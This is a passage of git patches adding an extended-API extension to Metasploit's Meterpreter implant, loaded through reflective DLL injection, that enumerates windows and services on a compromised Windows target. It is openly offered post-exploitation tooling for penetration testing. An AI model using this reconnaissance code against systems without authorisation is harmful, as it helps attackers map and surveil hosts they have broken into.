From aef2d1e205fa92ae0d4106ff46c678a41598085c Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 9 Oct 2013 22:16:47 +1000 Subject: [PATCH 01/20] New extended API extension with window enum Decided to kick off a new extended API extension with mubix and kernelsmith to include some more advanced enumeration stuff. The goal of this extension is to take stuff that wouldn't be part of the std api but is rather useful for enumeration of a target once meterpreter has been established. This commit kicks things off with enumeration of top level windows on the current desktop. --- source/extensions/extapi/extapi.c | 59 +++ source/extensions/extapi/extapi.h | 17 + source/extensions/extapi/window.c | 146 ++++++ source/extensions/extapi/window.h | 10 + .../ext_server_extapi.vcxproj | 487 ++++++++++++++++++ workspace/meterpreter.sln | 18 + 6 files changed, 737 insertions(+) create mode 100644 source/extensions/extapi/extapi.c create mode 100644 source/extensions/extapi/extapi.h create mode 100644 source/extensions/extapi/window.c create mode 100644 source/extensions/extapi/window.h create mode 100644 workspace/ext_server_extapi/ext_server_extapi.vcxproj diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c new file mode 100644 index 0000000..337b4fc --- /dev/null +++ b/source/extensions/extapi/extapi.c @@ -0,0 +1,59 @@ +/*! + * @file extapi.h + * @brief Entry point and intialisation definitions for the extended API extension. + */ +#include "../../common/common.h" + +#include "../../ReflectiveDLLInjection/DelayLoadMetSrv.h" +// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function +// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the +// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. +#include "../../ReflectiveDLLInjection/ReflectiveLoader.c" + +#include "window.h" + +// this sets the delay load hook function, see DelayLoadMetSrv.h +EnableDelayLoadMetSrv(); + +Command customCommands[] = +{ + // Window management and enumeration + { "extapi_window_enum", + { request_window_enum, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER } + }, + // Terminator + { NULL, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER }, + }, +}; + +/*! + * @brief Initialize the server extension + */ +DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +{ + DWORD index; + + hMetSrv = remote->hMetSrv; + + for (index = 0; customCommands[index].method; index++) + command_register(&customCommands[index]); + + return ERROR_SUCCESS; +} + +/*! + * @brief Deinitialize the server extension + */ +DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) +{ + DWORD index; + + for (index = 0; customCommands[index].method; index++) + command_deregister(&customCommands[index]); + + return ERROR_SUCCESS; +} + diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h new file mode 100644 index 0000000..24bb8a2 --- /dev/null +++ b/source/extensions/extapi/extapi.h @@ -0,0 +1,17 @@ +/*! + * @file extapi.h + * @brief Entry point and intialisation declrations for the extended API extension. + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_EXTAPI_H +#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_EXTAPI_H + +#include "../../common/common.h" + +#define TLV_TYPE_EXTENSION_EXTAPI 0 + +#define TLV_TYPE_EXT_WINDOW_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 1) +#define TLV_TYPE_EXT_WINDOW_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 2) +#define TLV_TYPE_EXT_WINDOW_ENUM_HANDLE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 3) +#define TLV_TYPE_EXT_WINDOW_ENUM_TITLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 4) + +#endif diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c new file mode 100644 index 0000000..ddf336c --- /dev/null +++ b/source/extensions/extapi/window.c @@ -0,0 +1,146 @@ +/*! + * @file window.h + * @brief Declarations for window management functionality + */ +#include "extapi.h" +#include "window.h" + +VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* lpWindowTitle, DWORD dwProcessId ); +DWORD enumerate_windows( Packet *response ); + +#ifdef _WIN32 +#define MAX_WINDOW_TITLE 256 + +typedef BOOL (WINAPI * PENUMDESKTOPWINDOWS)( HDESK hDesktop, WNDENUMPROC enumProc, LPARAM lparam ); +typedef int (WINAPI * PGETWINDOWTEXA)( HWND hWnd, LPSTR lpString, int nMaxCount ); +typedef DWORD (WINAPI * PGETWINDOWTHREADPROCESSID)( HWND hWnd, LPDWORD lpdwProcessId ); + +typedef struct _EnumWindowsState +{ + Packet* pResponse; + PGETWINDOWTEXA pGetWindowTextA; + PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; +} EnumWindowsState; + +BOOL CALLBACK enumerate_windows_callback( HWND hWnd, LPARAM lParam ) +{ + char windowTitle[MAX_WINDOW_TITLE]; + DWORD dwThreadId = 0; + DWORD dwProcessId = 0; + EnumWindowsState* pState = (EnumWindowsState*)lParam; + + dprintf( "Enumerated window %x", hWnd ); + + do + { + dprintf( "Getting window title %p", pState->pGetWindowTextA ); + if( pState->pGetWindowTextA( hWnd, windowTitle, MAX_WINDOW_TITLE ) == 0 ) { + strncpy_s( windowTitle, MAX_WINDOW_TITLE, "", MAX_WINDOW_TITLE - 1 ); + dprintf( "Unable to get window title. Skipping." ); + break; + } + + dprintf( "Getting process ID %p", pState->pGetWindowThreadProcessId ); + dwThreadId = pState->pGetWindowThreadProcessId( hWnd, &dwProcessId ); + + dprintf(" Adding enumerated response" ); + add_enumerated_window( pState->pResponse, (QWORD)hWnd, windowTitle, dwProcessId ); + } while(0); + + return TRUE; +} +#endif + +DWORD enumerate_windows( Packet *response ) +{ +#ifdef _WIN32 + // currently we only support Windoze + + DWORD dwResult; + HMODULE hUser32; + PENUMDESKTOPWINDOWS pEnumDesktopWindows; + EnumWindowsState state; + + do + { + dprintf( "Loading user32.dll" ); + if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load user32.dll" ); + + dprintf( "Searching for EnumDesktopWindows" ); + if( (pEnumDesktopWindows = (PENUMDESKTOPWINDOWS)GetProcAddress( hUser32, "EnumDesktopWindows" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate EnumDesktopWindows in user32.dll" ); + + dprintf( "Searching for GetWindowTextA" ); + if( (state.pGetWindowTextA = (PGETWINDOWTEXA)GetProcAddress( hUser32, "GetWindowTextA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GetWindowTextA in user32.dll" ); + dprintf( "Found GetWindowTextA %p", state.pGetWindowTextA ); + + dprintf( "Searching for GetWindowThreadProcessId" ); + if( (state.pGetWindowThreadProcessId = (PGETWINDOWTHREADPROCESSID)GetProcAddress( hUser32, "GetWindowThreadProcessId" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GetWindowThreadProcessId in user32.dll" ); + dprintf( "Found GetWindowThreadProcessId %p", state.pGetWindowThreadProcessId ); + + state.pResponse = response; + + dprintf( "Beginning enumeration of desktop windows" ); + if( !pEnumDesktopWindows( NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state ) ) + BREAK_ON_ERROR( "Failed to enumerate windows" ); + + dwResult = ERROR_SUCCESS; + } while(0); + + return dwResult; +#else + return ERROR_NOT_SUPPORTED; +#endif +} + +DWORD request_window_enum( Remote *remote, Packet *packet ) +{ + DWORD result = ERROR_SUCCESS; + Packet * response = packet_create_response( packet ); + + do + { + if( !response ) { + dprintf( "Unable to create response packet" ); + result = ERROR_OUTOFMEMORY; + break; + } + + dprintf( "Beginning window enumeration" ); + result = enumerate_windows( response ); + + } while(0); + + dprintf( "Transmitting response back to caller." ); + packet_transmit_response( result, remote, response ); + + return result; +} + +VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* cpWindowTitle, DWORD dwProcessId, BOOL bVisible ) +{ + Tlv entries[4] = {0}; + + dprintf( "Adding PID: %u", dwProcessId ); + dwProcessId = htonl( dwProcessId ); + entries[0].header.type = TLV_TYPE_EXT_WINDOW_ENUM_PID; + entries[0].header.length = sizeof( DWORD ); + entries[0].buffer = (PUCHAR)&dwProcessId; + + dprintf( "Adding Handle: %p", qwHandle ); + qwHandle = htonq( qwHandle ); + entries[1].header.type = TLV_TYPE_EXT_WINDOW_ENUM_HANDLE; + entries[1].header.length = sizeof( QWORD ); + entries[1].buffer = (PUCHAR)&qwHandle; + + dprintf( "Adding title: %s", cpWindowTitle ); + entries[2].header.type = TLV_TYPE_EXT_WINDOW_ENUM_TITLE; + entries[2].header.length = (DWORD)strlen( cpWindowTitle ) + 1; + entries[2].buffer = (PUCHAR)cpWindowTitle; + + dprintf( "Adding group to response" ); + packet_add_tlv_group( pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, entries, 3 ); +} diff --git a/source/extensions/extapi/window.h b/source/extensions/extapi/window.h new file mode 100644 index 0000000..8db90db --- /dev/null +++ b/source/extensions/extapi/window.h @@ -0,0 +1,10 @@ +/*! + * @file window.h + * @brief Declarations for window management functionality + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_WINDOW_H +#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_WINDOW_H + +DWORD request_window_enum(Remote *remote, Packet *packet); + +#endif diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj new file mode 100644 index 0000000..d57e4a1 --- /dev/null +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -0,0 +1,487 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + r7_debug + Win32 + + + r7_debug + x64 + + + r7_release + Win32 + + + r7_release + x64 + + + Release + Win32 + + + Release + x64 + + + + {42E143CB-6086-4FF1-A4AE-D8545782DD31} + ext_server_extapi + Win32Proj + + + + DynamicLibrary + MultiByte + false + v110_xp + + + DynamicLibrary + MultiByte + false + v110_xp + + + DynamicLibrary + Unicode + v110_xp + + + DynamicLibrary + Unicode + v110_xp + + + DynamicLibrary + MultiByte + false + v110_xp + + + DynamicLibrary + MultiByte + false + v110_xp + + + DynamicLibrary + Unicode + v110_xp + + + DynamicLibrary + Unicode + v110_xp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <_ProjectFileVersion>10.0.30319.1 + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ + false + false + true + true + false + AllRules.ruleset + + + $(ProjectName).$(PlatformShortName) + + + + Disabled + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX86 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + Disabled + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + + + backcompat.lib;Netapi32.lib;ws2_32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX86 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + ProgramDatabase + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + Windows + MachineX64 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + X64 + + + Disabled + WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + EnableFastChecks + MultiThreadedDebug + + + Level3 + ProgramDatabase + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + true + Windows + MachineX64 + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_extapi.map + Windows + + + + + false + + + $(OutDir)\ext_server_extapi.lib + MachineX86 + false + + + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + MinSpace + OnlyExplicitInline + false + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + Size + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + false + %(IgnoreSpecificDefaultLibraries) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_extapi.map + Windows + + + + + false + + + $(OutDir)\ext_server_extapi.lib + MachineX86 + false + + + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_extapi.map + NotSet + + + + + false + + + $(OutDir)\ext_server_extapi.lib + MachineX64 + false + + + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + X64 + + + MaxSpeed + OnlyExplicitInline + false + ..\..\source\extensions\extapi;..\..\source\openssl\include;%(AdditionalIncludeDirectories) + WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_EXTAPI_EXPORTS;%(PreprocessorDefinitions) + true + MultiThreaded + false + + + $(OutDir)\ + $(OutDir)\ + $(OutDir)\ + Level3 + ProgramDatabase + false + + + backcompat.lib;Netapi32.lib;ws2_32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies) + ..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories) + metsrv.dll;%(DelayLoadDLLs) + false + true + $(OutDir)\ext_server_extapi.map + NotSet + + + + + false + + + $(OutDir)\ext_server_extapi.lib + MachineX64 + false + + + + + editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" +IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY + mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" +:COPY +copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\" + + + + + + + + + + + + + {c6fb3275-9067-4bba-9206-0a720d2bc64f} + false + + + {9e4de963-873f-4525-a7d0-ce34edbbdcca} + false + + + {37e24f8f-1bd9-490b-8cd2-4768b89e5eab} + false + + + {72f0246a-a38d-4547-9057-46020e8e503d} + false + + + + + + + diff --git a/workspace/meterpreter.sln b/workspace/meterpreter.sln index 4579ba0..cc41e66 100644 --- a/workspace/meterpreter.sln +++ b/workspace/meterpreter.sln @@ -27,6 +27,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_mimikatz", "ext_ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_sniffer", "ext_server_sniffer\ext_server_sniffer.vcxproj", "{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}" EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_extapi", "ext_server_extapi\ext_server_extapi.vcxproj", "{42E143CB-6086-4FF1-A4AE-D8545782DD31}" +EndProject Global GlobalSection(SolutionConfigurationPlatforms) = preSolution Debug|Win32 = Debug|Win32 @@ -243,6 +245,22 @@ Global {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.r7_release|x64.Build.0 = r7_release|x64 {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|Win32.ActiveCfg = r7_release|Win32 {BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}.Release|x64.ActiveCfg = r7_release|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|Win32.ActiveCfg = Debug|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|Win32.Build.0 = Debug|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|x64.ActiveCfg = Debug|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Debug|x64.Build.0 = Debug|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|Win32.ActiveCfg = r7_debug|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|Win32.Build.0 = r7_debug|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|x64.ActiveCfg = r7_debug|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_debug|x64.Build.0 = r7_debug|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|Win32.ActiveCfg = r7_release|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|Win32.Build.0 = r7_release|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|x64.ActiveCfg = r7_release|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.r7_release|x64.Build.0 = r7_release|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|Win32.ActiveCfg = Release|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|Win32.Build.0 = Release|Win32 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|x64.ActiveCfg = Release|x64 + {42E143CB-6086-4FF1-A4AE-D8545782DD31}.Release|x64.Build.0 = Release|x64 EndGlobalSection GlobalSection(SolutionProperties) = preSolution HideSolutionNode = FALSE From 45221d0fd009d3691dc4fb5e2ab085b98cd45355 Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 10 Oct 2013 18:31:22 +1000 Subject: [PATCH 02/20] Free up user32 when we're done with it --- source/extensions/extapi/window.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index ddf336c..6821d60 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -57,7 +57,7 @@ DWORD enumerate_windows( Packet *response ) // currently we only support Windoze DWORD dwResult; - HMODULE hUser32; + HMODULE hUser32 = NULL; PENUMDESKTOPWINDOWS pEnumDesktopWindows; EnumWindowsState state; @@ -90,6 +90,9 @@ DWORD enumerate_windows( Packet *response ) dwResult = ERROR_SUCCESS; } while(0); + if( hUser32 ) + FreeLibrary( hUser32 ); + return dwResult; #else return ERROR_NOT_SUPPORTED; From e11d8c8acc26b078c8d15392fa9a023a0e5a600e Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 10 Oct 2013 21:20:23 +1000 Subject: [PATCH 03/20] Add service_enum to the ext_server_extapi extension This commit adds the ability to enumerate services on the target machine, showing the PID, the service name, the display name and an indication of the service's ability to interact with the desktop. Some other small code tidies were done too. --- source/extensions/extapi/extapi.c | 12 +- source/extensions/extapi/extapi.h | 7 + source/extensions/extapi/service.c | 177 ++++++++++++++++++ source/extensions/extapi/service.h | 10 + source/extensions/extapi/window.c | 2 +- .../ext_server_extapi.vcxproj | 4 +- 6 files changed, 207 insertions(+), 5 deletions(-) create mode 100644 source/extensions/extapi/service.c create mode 100644 source/extensions/extapi/service.h diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index 337b4fc..f0f6d00 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -11,6 +11,7 @@ #include "../../ReflectiveDLLInjection/ReflectiveLoader.c" #include "window.h" +#include "service.h" // this sets the delay load hook function, see DelayLoadMetSrv.h EnableDelayLoadMetSrv(); @@ -22,11 +23,16 @@ Command customCommands[] = { request_window_enum, { 0 }, 0 }, { EMPTY_DISPATCH_HANDLER } }, + // Service management and enumeration + { "extapi_service_enum", + { request_service_enum, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER } + }, // Terminator { NULL, - { EMPTY_DISPATCH_HANDLER }, - { EMPTY_DISPATCH_HANDLER }, - }, + { EMPTY_DISPATCH_HANDLER }, + { EMPTY_DISPATCH_HANDLER } + } }; /*! diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 24bb8a2..0f5b480 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -14,4 +14,11 @@ #define TLV_TYPE_EXT_WINDOW_ENUM_HANDLE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 3) #define TLV_TYPE_EXT_WINDOW_ENUM_TITLE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 4) +#define TLV_TYPE_EXT_SERVICE_ENUM_GROUP MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 10) +#define TLV_TYPE_EXT_SERVICE_ENUM_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 11) +#define TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 12) +#define TLV_TYPE_EXT_SERVICE_ENUM_PID MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 13) +#define TLV_TYPE_EXT_SERVICE_ENUM_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 14) +#define TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 15) + #endif diff --git a/source/extensions/extapi/service.c b/source/extensions/extapi/service.c new file mode 100644 index 0000000..cbe5473 --- /dev/null +++ b/source/extensions/extapi/service.c @@ -0,0 +1,177 @@ +/*! + * @file service.c + * @brief Definitions for service management functions + */ +#include "extapi.h" +#include "service.h" + +#ifdef _WIN32 + +typedef SC_HANDLE (WINAPI * POPENSCMANAGERA)( LPCSTR lpMachineName, LPCSTR lpDatabaseName, DWORD dwDesiredAccess ); +typedef BOOL (WINAPI * PCLOSESERVICEHANDLE)( SC_HANDLE hSCObject ); +typedef BOOL (WINAPI * PENUMSERVICESSTATUSEXA)( + SC_HANDLE hSCManager, + SC_ENUM_TYPE InfoLevel, + DWORD dwServiceType, + DWORD dwServiceState, + LPBYTE lpServices, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded, + LPDWORD lpServicesReturned, + LPDWORD lpResumeHandle, + LPCSTR pszGroupName + ); + +typedef struct _EnumServicesState +{ + Packet* pResponse; +} EnumServicesState; + +VOID add_enumerated_service( Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive ); +#endif + +DWORD enumerate_services( Packet *response ); + +DWORD request_service_enum(Remote *remote, Packet *packet) +{ + DWORD result = ERROR_SUCCESS; + Packet * response = packet_create_response( packet ); + + do + { + if( !response ) { + dprintf( "Unable to create response packet" ); + result = ERROR_OUTOFMEMORY; + break; + } + + dprintf( "Beginning service enumeration" ); + result = enumerate_services( response ); + + } while(0); + + dprintf( "Transmitting response back to caller." ); + packet_transmit_response( result, remote, response ); + + return result; +} + +DWORD enumerate_services( Packet *pResponse ) +{ +#ifdef _WIN32 + // currently we only support Windoze + + DWORD dwResult = ERROR_SUCCESS; + HMODULE hAdvapi32 = NULL; + POPENSCMANAGERA pOpenSCManagerA = NULL; + PCLOSESERVICEHANDLE pCloseServiceHandle = NULL; + PENUMSERVICESSTATUSEXA pEnumServicesStatusExA = NULL; + SC_HANDLE scManager = NULL; + ENUM_SERVICE_STATUS_PROCESSA* pSsInfo = NULL; + DWORD dwBytesNeeded = 0; + DWORD dwServicesReturned = 0; + DWORD dwResumeHandle = 0; + DWORD dwServiceIndex = 0; + BOOL bResult; + + do + { + dprintf( "Loading advapi32.dll" ); + if( (hAdvapi32 = LoadLibraryA( "advapi32.dll" )) == NULL) + BREAK_ON_ERROR( 